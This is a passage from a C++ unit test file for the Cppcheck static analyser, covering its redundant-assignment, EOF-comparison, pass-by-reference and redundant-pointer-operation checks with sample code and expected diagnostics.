nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & 